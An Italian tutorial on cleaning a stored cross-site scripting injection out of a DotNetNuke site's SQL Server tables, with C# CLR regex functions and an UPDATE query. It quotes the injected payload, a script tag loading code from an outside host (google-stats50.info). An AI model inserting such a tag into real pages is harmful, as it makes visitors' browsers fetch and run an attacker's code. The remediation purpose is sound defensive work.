Gli attacchi di “cross site scripting” (XSS) inseriscono del codice malevolo all’interno dei contenuti html delle nostre pagine web.
Il risultato è che collegamenti o click su pulsanti rimandano a strane pagine che nulla hanno a che fare con il sito in questione. Inoltre, i siti indicizzati sui motori di ricerca vengono segnalati come “possibili diffusori di virus” e pertanto classificati negativamente…
Data la diffusione di CMS gratuiti quali Joomla, Drupal, DotNetNuke, ecc., il codice malevolo dell’attacco XSS viene memorizzato all’interno del database nelle tabelle di contenuto HTML.
Vediamo cosa produce un attacco XSS su DotNetNuke e come porvi rimedio.
Cercando il nostro sito web su Google viene visualizzato il messaggio “Questo sito potrebbe danneggiare il tuo computer”, poiché il motore di ricerca navigando tra le pagine trova un riferimento a questo pezzo di codice:
</title><script src=http://google-stats50.info/ur.php></script>
Una ricerca di tale codice all’interno dei files del nostro sito non produce nessun risultato…
Se invece diamo uno sguardo al nostro database (nel caso di DotNetNuke è il SQL Server) troveremo alcuni campi con il codice all’interno del nostro contenuto.
In particolare:
- la tabella “HtmlText” contiene il codice nel campo “Content”;
- la tabella “Modules” contiene il codice nel campo “ModuleTitle”;
La rimozione del codice è lunga se abbiamo a che fare con tabelle piene di contenuti…
Possiamo utilizzare una query di update per ripulire il campo effettuando una sostituzione ma… non è detto che tutte le righe della tabella contengano il riferimento allo stesso indirizzo!
La soluzione? Implementare un’espressione regolare che vada a cercare tutto ciò che è compreso tra “” e “” e lo sostituisca con… un bel niente!
Per fare ciò ho utilizzato Visual Studio per creare una DLL contenente la mia “funzione”.
Ecco il codice della classe:
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Text.RegularExpressions;
using System.Text;
namespace SQLRegEX
{
public partial class UserDefinedFunctions
{
public static readonly RegexOptions Options = RegexOptions.IgnorePatternWhitespace | RegexOptions.Multiline;
[SqlFunction]
public static SqlBoolean RegexMatch(SqlChars input, SqlString pattern)
{
Regex regex = new Regex(pattern.Value, Options);
return regex.IsMatch(new string(input.Value));
}
[SqlFunction]
public static SqlString RegexReplace(SqlString expression, SqlString pattern, SqlString replace)
{
if (expression.IsNull || pattern.IsNull || replace.IsNull)
return SqlString.Null;
Regex r = new Regex(pattern.ToString());
return new SqlString(r.Replace(expression.ToString(), replace.ToString()));
}
// returns the matching string. Results are separated by 3rd parameter
[SqlFunction]
public static SqlString RegexSelectAll(SqlChars input, SqlString pattern, SqlString matchDelimiter)
{
Regex regex = new Regex(pattern.Value, Options);
Match results = regex.Match(new string(input.Value));
StringBuilder sb = new StringBuilder();
while (results.Success)
{
sb.Append(results.Value);
results = results.NextMatch();
// separate the results with newline|newline
if (results.Success)
{
sb.Append(matchDelimiter.Value);
}
}
return new SqlString(sb.ToString());
}
// returns the matching string
// matchIndex is the zero-based index of the results. 0 for the 1st match, 1, for 2nd match, etc
[SqlFunction]
public static SqlString RegexSelectOne(SqlChars input, SqlString pattern, SqlInt32 matchIndex)
{
Regex regex = new Regex(pattern.Value, Options);
Match results = regex.Match(new string(input.Value));
string resultStr = "";
int index = 0;
while (results.Success)
{
if (index == matchIndex)
{
resultStr = results.Value.ToString();
}
results = results.NextMatch();
index++;
}
return new SqlString(resultStr);
}
};
}
Una volta compilata la classe dobbiamo distribuirla nel SQL Server e poi creare la funzione. Apriamo una finestra query su SQL Server e scriviamo:
--Abilita il CLR sul SQL Server
sp_configure 'clr enabled',1;
reconfigure;
---------------------------------
-- Crea l'assembly a partire dalla DLL
CREATE ASSEMBLY [SQLRegEx] FROM 'C:\SQLRegEx.dll' WITH PERMISSION_SET = SAFE;
---------------------------------------
-- Crea la funzione riferendosi al metodo della DLL
CREATE FUNCTION [dbo].[RegExReplace]
(@Expression NVARCHAR(MAX), @Pattern NVARCHAR(MAX), @Replace NVARCHAR(MAX))
RETURNS NVARCHAR(MAX)
AS EXTERNAL NAME SqlRegEx.[SQLRegEX.UserDefinedFunctions].RegexReplace;
----------------------------------------
A questo punto la nostra funzione è pronta all’uso. Prepariamo la query con i giusti nomi della tabella e del/dei campo/i:
UPDATE [databaseName].[dbo].[tableName]
SET [fieldName] = dbo.RegExReplace([fieldName],'(<script .*>.*</script>)','')
;
That’s all folks!!!